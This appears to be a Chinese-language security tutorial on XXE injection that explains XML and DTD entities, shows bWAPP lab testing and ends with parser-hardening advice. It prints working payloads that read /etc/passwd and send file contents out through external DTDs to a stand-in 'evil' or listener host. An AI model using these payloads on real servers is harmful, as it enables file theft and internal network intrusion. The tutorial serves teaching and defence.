简述
- 二十出头,故事开始的时候,他们忙着在大学里混日子逃课;二十三四岁,他们忙着投简历找工作;二十五六岁,他们忙着相亲,草草和不那么爱的人结婚,然后就30岁了
免责声明
- 此文章仅供学习交流,禁止对未授权网站进行测试,后果自负
学XXE需要了解的基础知识
-
什么是XXE
-
- XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
-
什么是XML
-
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是显示数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。
-
XML由3个部分构成,它们分别是:
-
文档类型定义(Document Type Definition,DTD),即XML的布局语言;
-
可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
-
可扩展链接语言(Extensible Link Language,XLL)。
-
-
-
XML与HTML的区别
-
-
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观
-
-
XML语法规则
- XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
-
所有的XML元素都必须有一个关闭标签
-
XML标签对大小写敏感
-
XML必须正确嵌套
-
XML属性值必须加引号””
-
实体引用(在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<傅好对应的实体就是lt,>符号对应的实体就是gt)
-
在XML中,空格会被保留(案例如:<p>a空格B</p>,这时候a和B之间的空格就会被保留)
-
什么是DTD
-
DTD(文档类型定义)说白了就是定义一个文档的书写标准,因为XML是可以任意书写标签名的嘛,所以如果程序大的话,很多人一起写有可能会乱,所以通过DTD来定义一个标准结构。
-
DTD分类
-
内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
-
引用外部DTD
<!DOCTYPE 根元素 SYSTEM “文件名”>
或者
<!DOCTYPE 根元素 PUBLIC “public_ID” “文件名”>DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
-
-
DTD作用
-
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。
我们可以在内部确定其值(内部子集):
或从外部来源:(外部子集):
注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面。
为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.
那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.
如果要引用一个外部资源,可以借助各种协议 几个例子:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:
-
-
内部声明实体
-
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
一个内部实体声明
<!ENTITY 实体名称 “实体的值”>
例子
DTD:
<!ENTITY writer “me”>
XML:
<author>&writer;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
-
-
引用外部实体
-
一个外部实体声明
<!ENTITY 实体名称 SYSTEM “URI/URL”>
或者
<!ENTITY 实体名称 PUBLIC “public_ID” “URI”>
例子
DTD:
<!ENTITY writer SYSTEM “http://example.com/dtd/writer.dtd”>
XML:
<author>&writer;</author>
外部实体类型有
-
-
CDATA
CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,”<” (新元素的开始)和 “&” (字符实体的开始)是非法的。
某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 “<![CDATA[” 开始,由 “]]>” 结束
-
PCDATA
-
PCDATA的意思是被解析的字符数据/
PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
-
-
-
XML的实体
-
XML 中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
-
字符实体
指用十进制格式(&#aaa;)或十六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
-
命名实体
也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。可以用做xxe+ssrf
-
外部实体
外部实体表示外部文件的内容,用 SYSTEM 关键词表示。
<!ENTITY test SYSTEM “1.xml”>
有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM “file:///etc/passwd”>
]>
<abc>&entityex;</abc>
在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
-
参数实体
参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:
-
<!ENTITY % 实体名称 “实体的值”>
或者
<!ENTITY % 实体名称 SYSTEM “URI”>
参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。
即下面实例,参数实体 在DOCTYPE内 ,其他实体在外<!DOCTYPE a [
<!ENTITY % name SYSTEM “file:///etc/passwd”>
%name;
]>参数实体在DTD中解析优先级高于xml内部实体
实体相当于变量 “file:///etc/passwd”赋值给name
先写一段简单的xml利用代码,以php为例子:
<?php
$data = file_get_contents(‘php://input’);
$xml = simplexml_load_string($data);
echo $xml->name;
?>
echo $xml->name;中->name可以任意更改。
如下所示:
参数实体的示例:
<!ENTITY 实体名称 “实体的值”>
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE root [
<!ENTITY % param1 “<!ENTITY internal ‘http://evil.com’>”>
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
如:
<!ENTITY % aaa “233”>
参数实体param1中包含内部实体的声明,用于替代<test>标签中的实体引用参数。
这里,一定要注意流程,参数实体在DTD中解析是优先于XML文本中的内部实体解析。
参数实体有几个特性,这几个特性也决定了它能被利用的程度:
l 只能在DTD内部
l 立即引用
l 实体嵌套
-
内部实体
内置实体为预留的实体,如:
实体引用字符
< <
> >
& &
" “
' ‘
而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:
<!ENTITY % param1 ‘<!ENTITY % xxe SYSTEM “http://evil/log?%payload;” >’
%也可写为16进制%
-
命名实体+外部实体写法
<?xml version=”1.0″ encoding=”utf-8″?> <!DOCTYPE root [ <!ENTITY dtd SYSTEM “http://localhost:88/evil.xml”> ]> <value>&dtd;</value>
这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多
-
第一种命名实体+外部实体+参数实体写法
<?xml version=”1.0″ encoding=”utf-8″?> <!DOCTYPE data [ <!ENTITY % file SYSTEM “file:///c://test/1.txt”> <!ENTITY % dtd SYSTEM “http://localhost:88/evil.xml”> %dtd; %all; ]> <value>&send;</value>
其中evil.xml文件内容为
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://localhost:88%file;’>”>
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send
-
第二种命名实体+外部实体+参数实体写法
<?xml version=”1.0″ encoding=”utf-8″?> <!DOCTYPE root [ <!ENTITY % file SYSTEM “php://filter/convert.base64-encode/resource=c:/test/1.txt”> <!ENTITY % dtd SYSTEM “http://localhost:88/evil.xml”> %dtd; %send; ]> <root></root>
其中evil.xml文件内容为:
<!ENTITY % payload “<!ENTITY % send SYSTEM ‘http://localhost:88/?content=%file;’>”> %payload;
调用过程和第一种方法类似
-
XXE漏洞的危害
-
文件读取
-
命令执行
-
内网端口扫描
-
攻击内网网站
-
发起dos攻击等危害
XXE挖掘
-
怎么判断网站是否存在XXE漏洞
-
最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞,接下来,来看一个小小的展示:
这个是测试xxe的测试点:http://169.254.4.52/bWAPP/xxe-1.php
我们点击下面的Any bugs然后用burp抓包我们随便输入下从上面我们可以看到,web应用正在解析xml的内容,接受用户特定或者自定义的输入,然后呈现给用户。为了验证,我们可以构造如下的输入:
可以看到应用程序确实是直接解析了xml,那么如果xml文档中有一个参数是用来调用远程服务器的内容?这个参数是可控的,我们可以做什么?
-
XXE利用
-
XXE漏洞-文件读取
-
PHP中测试POC
PHP://filter/read=convert.base64-encode/resource=/home/bee/test.php
读取文档
有回显的xxe利用
Payload:
读取php文件
直接读取php文件会报错,因为php文件里面有<>//等特殊字符,xml解析时候会当成xml语法来解析。这时候就分不清处哪个是真正的xml语句了,
直接利用file协议读取PHP文件,就会产生报错。那么需要base64编码来读取,进行解密后得到对应内容
-
本地测试无回显注入读取文件
但是,在实际情况中,大多数情况下服务器上的 XML 并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据
先看一下漏洞示例:相较于前面有回显的漏洞代码,我们去掉了内容输出的一部分。这样,用之前的payload就没有作用了:
Payload的构造:
有了前面使用外部DTD文件来拼接内部DTD的参数实体的经验,我们可以知道,通过外部DTD的方式可以将内部参数实体的内容与外部DTD声明的实体的内容拼接起来,那么我们就可以有这样的设想:
(1) 客户端发送payload 1给web服务器
(2) web服务器向vps获取恶意DTD,并执行文件读取payload2
(3) web服务器带着回显结果访问VPS上特定的FTP或者HTTP
(4) 通过VPS获得回显(nc监听端口)
首先,我们使用ncat监听一个端口:
也可以用python创建一个建议的http服务。
python -m SimpleHTTPServer 端口
然后,我们构造payload:
我们选择使用外部DTD,在我们自己所能掌控(或是自己搭建)的主机上编写一个dtd文件:
我们注意到,第一个参数实体的声明中使用到了php的base64编码,这样是为了尽量避免由于文件内容的特殊性,产生xml解析器错误。
Payload如下:
如图,我们先声明一个外部的DTD引用,然后再xml文档内容中引用外部DTD中的一般实体。
开始攻击:
然后查看我们的端口监听情况,会发现我们收到了一个连接请求,问号后面的内容就是我们读取到的文件内容经过编码后的字符串:
Ps:
有时候也会出现报错的情况(这是我们在漏洞的代码中没有屏蔽错误和警告),比如我们这里的payload没有选用php的base64编码,这里报错了,但是同时也将所读取的内容爆了出来,只是特殊字符经过了HTML实体编码。
-
-
内网探测
xxe 由于可以访问外部 url,也就有类似 ssrf 的攻击效果,同样的,也可以利用 xxe 来进行内网探测。
可以先通过 file 协议读取一些配置文件来判断内网的配置以及规模,以便于编写脚本来探测内网。
一个 python 脚本实例:运行起来大概是这样
-
DDOS攻击该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
-
其它XXE攻击方法
- https://www.freebuf.com/articles/web/97833.html
XXE防御
-
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#过滤用户提交的XML数据
过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC。
不允许XML中含有自己定义的DTD
文章贡献
https://www.cnblogs.com/backlion/p/9302528.html
https://www.freebuf.com/vuls/175451.htmls
https://mp.weixin.qq.com/s/VWofHp5lJLYnbw01copnkw
https://www.freebuf.com/articles/web/97833.html
https://www.freebuf.com/articles/web/86007.html
https://www.freebuf.com/articles/network/225780.html
总结
- 网络安全是场修行的路,需要脚踏实地的走,不骄不躁的学
来源:freebuf.com 2020-08-23 16:33:30 by: 让开尼姑是我的
请登录后发表评论
注册